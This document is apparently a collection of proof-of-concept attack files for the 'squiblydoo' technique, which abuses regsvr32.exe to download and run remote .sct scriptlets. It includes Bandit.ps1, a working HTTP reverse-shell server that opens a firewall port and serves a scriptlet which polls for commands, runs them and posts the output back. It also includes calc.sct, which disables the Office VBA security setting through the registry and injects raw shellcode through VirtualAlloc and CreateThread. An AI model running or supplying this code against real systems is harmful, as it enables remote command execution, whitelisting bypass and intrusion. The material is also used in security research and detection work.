Execute Remote Scripts Via regsvr32.exe - Referred to As "squiblydoo" Please use this reference...

Backdoor-Minimalist.sct

<?XML version="1.0"?>
<scriptlet>
<registration 
    progid="PoC"
    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
	<!-- Proof Of Concept - Casey Smith @subTee -->
	<!--  License: BSD3-Clause -->
	<script language="JScript">
		<![CDATA[
	
			var r = new ActiveXObject("WScript.Shell").Run("calc.exe");	
	
		]]>
</script>
</registration>
</scriptlet>

Backdoor.sct

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Bandit"
    progid="Bandit"
    version="1.00"
    classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
	>
	
	<!-- regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
	<!-- DFIR -->
	<!--		.sct files are downloaded and executed from a path like this -->
	<!-- Though, the name and extension are arbitary.. -->
	<!-- c:\users\USER\appdata\local\microsoft\windows\temporary internet files\content.ie5\2vcqsj3k\file[2].sct -->
	<!-- Based on current research, no registry keys are written, since call "uninstall" -->
	
	
	<!-- Proof Of Concept - Casey Smith @subTee -->
	<script language="JScript">
		<![CDATA[
	
			var r = new ActiveXObject("WScript.Shell").Run("notepad.exe");
	
		]]>
	</script>
</registration>

<public>
    <method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[
	
	function Exec()
	{
		var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
		return 0;
	}
	
]]>
</script>

</scriptlet>

Bandit.ps1

<#
    
  Bandit
    
  Author: Casey Smith @subTee

  License: BSD3-Clause
	
  .SYNOPSIS
  
  Simple Reverse Shell over HTTP. Execute Commands on Client.  
  
  "regsvr32 /u /n /s /i:http://127.0.0.1/file.sct scrobj.dll"
  
  Listening Server IP Address
  
  For Python Version See https://github.com/Hood3dRob1n/JSRat-Py/blob/master/JSRat.py
  
#>

$Server = '127.0.0.1' #Listening IP. Change This.

function Receive-Request {
   param(      
      $Request
   )
   $output = ""
   $size = $Request.ContentLength64 + 1   
   $buffer = New-Object byte[] $size
   do {
      $count = $Request.InputStream.Read($buffer, 0, $size)
      $output += $Request.ContentEncoding.GetString($buffer, 0, $count)
   } until($count -lt $size)
   $Request.InputStream.Close()
   write-host $output
}

$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add('http://+:80/') 

netsh advfirewall firewall delete rule name="PoshRat 80" | Out-Null
netsh advfirewall firewall add rule name="PoshRat 80" dir=in action=allow protocol=TCP localport=80 | Out-Null

$listener.Start()
'Listening ...'
while ($true) {
    $context = $listener.GetContext() # blocks until request is received
    $request = $context.Request
    $response = $context.Response
	$hostip = $request.RemoteEndPoint
	#Use this for One-Liner Start
	
	if ($request.Url -match '/file.sct$' -and ($request.HttpMethod -eq "GET")) {  
        $message = '<?XML version="1.0"?>
					<scriptlet>

					<registration
						description="Bandit"
						progid="Bandit"
						version="1.00"
						classid="{90001111-0000-0000-0000-0000FEEDACDC}"
						>
						
						<script language="JScript">
							<![CDATA[
							
								while(true)
								{
									try
									{
									 	//Expects to run behind a proxy... Deal with it. 
									 	//Uncomment.
										w = new ActiveXObject("WScript.Shell");
										//v = w.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyServer");
										//q = v.split("=")[1].split(";")[0];
										h = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
										//h.SetProxy(2,q);
										h.Open("GET","http://'+$Server+'/rat",false);
										h.Send();
										c = h.ResponseText;
										r = new ActiveXObject("WScript.Shell").Exec(c);
										var so;
										while(!r.StdOut.AtEndOfStream){so=r.StdOut.ReadAll()}
										p = new ActiveXObject("WinHttp.WinHttpRequest.5.1");														
										//p.SetProxy(2,q);
										p.Open("POST","http://'+$Server+'/rat",false);
										p.Send(so);
									}
									catch(err)
									{
										continue;
									}
								}
						
							]]>
					</script>
					</registration>
					
					
					</scriptlet>
					
		'

    }		
	
	if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "POST") ) { 
		Receive-Request($request)	
	}
    if ($request.Url -match '/rat$' -and ($request.HttpMethod -eq "GET")) {  
        $response.ContentType = 'text/plain'
        $message = Read-Host "JS $hostip>"		
    }
    

    [byte[]] $buffer = [System.Text.Encoding]::UTF8.GetBytes($message)
    $response.ContentLength64 = $buffer.length
    $output = $response.OutputStream
    $output.Write($buffer, 0, $buffer.length)
    $output.Close()
}

$listener.Stop()

calc.sct

<?XML version="1.0"?>
<scriptlet>
<registration 
    progid="CalcShellcode"
    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
	<!-- Proof Of Concept - Casey Smith @subTee -->
	<!-- Orginal Shellcode Example : https://www.scriptjunkie.us/2012/01/direct-shellcode-execution-in-ms-office-macros/ -->
	<script language="JScript">
		<![CDATA[
	
			var objExcel = new ActiveXObject("Excel.Application");
			objExcel.Visible = false;
			var WshShell = new ActiveXObject("WScript.Shell");
			var Application_Version = objExcel.Version;//Auto-Detect Version
			var strRegPath = "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\" + Application_Version + "\\Excel\\Security\\AccessVBOM";
			WshShell.RegWrite(strRegPath, 1, "REG_DWORD");
			var objWorkbook = objExcel.Workbooks.Add();
			var xlmodule = objWorkbook.VBProject.VBComponents.Add(1);
			strCode = '#If Vba7 Then\n'
			strCode += 'Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As LongPtr, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As LongPtr\n'
			strCode += 'Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As LongPtr\n'
			strCode += 'Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As LongPtr, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As LongPtr\n'
			strCode += '#Else\n'
			strCode += 'Private Declare Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As Long, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As Long\n'
			strCode += 'Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As Long\n'
			strCode += 'Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As Long, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As Long\n'
			strCode += '#EndIf\n'
			strCode += '\n'
			strCode += 'Sub ExecShell()\n'
			strCode += '        Dim Wyzayxya As Long, Hyeyhafxp As Variant, Lezhtplzi As Long, Zolde As Long\n'
			strCode += '#If Vba7 Then\n'
			strCode += '        Dim  Xlbufvetp As LongPtr\n'
			strCode += '#Else\n'
			strCode += '        Dim  Xlbufvetp As Long\n'
			strCode += '#EndIf\n'
			strCode += '        Hyeyhafxp = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _\n'
			strCode += '139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _\n'
			strCode += '13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _\n'
			strCode += '116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _\n'
			strCode += '214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _\n'
			strCode += '36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _\n'
			strCode += '139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _\n'
			strCode += '235,134,93,106,1,141,133,185,0,0,0,80,104,49,139,111,135,255,213,187, _\n'
			strCode += '224,29,42,10,104,166,149,189,157,255,213,60,6,124,10,128,251,224,117,5, _\n'
			strCode += '187,71,19,114,111,106,0,83,255,213,99,97,108,99,0)\n'
			strCode += '        Xlbufvetp = VirtualAlloc(0, UBound(Hyeyhafxp), &H1000, &H40)\n'
			strCode += '        For Zolde = LBound(Hyeyhafxp) To UBound(Hyeyhafxp)\n'
			strCode += '                Wyzayxya = Hyeyhafxp(Zolde)\n'
			strCode += '                Lezhtplzi = RtlMoveMemory(Xlbufvetp + Zolde, Wyzayxya, 1)\n'
			strCode += '        Next Zolde\n'
			strCode += '        Lezhtplzi = CreateThread(0, 0, Xlbufvetp, 0, 0, 0)\n'
			strCode += 'End Sub\n'
			xlmodule.CodeModule.AddFromString(strCode);
			objExcel.Run("ExecShell");
			objExcel.DisplayAlerts = false;
			objWorkbook.Close(false);
	
		]]>
</script>
</registration>
</scriptlet>

gistfile1.txt

<?XML version="1.0"?>
<scriptlet>
<registration 
    progid="PoC"
    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
	<!-- Proof Of Concept - Casey Smith @subTee -->
	<!--  License: BSD3-Clause -->
</registration>
	<script language="JScript">
		<![CDATA[
	
			var r = new ActiveXObject("WScript.Shell").Run("calc.exe");	
	
		]]>
</script>
</scriptlet>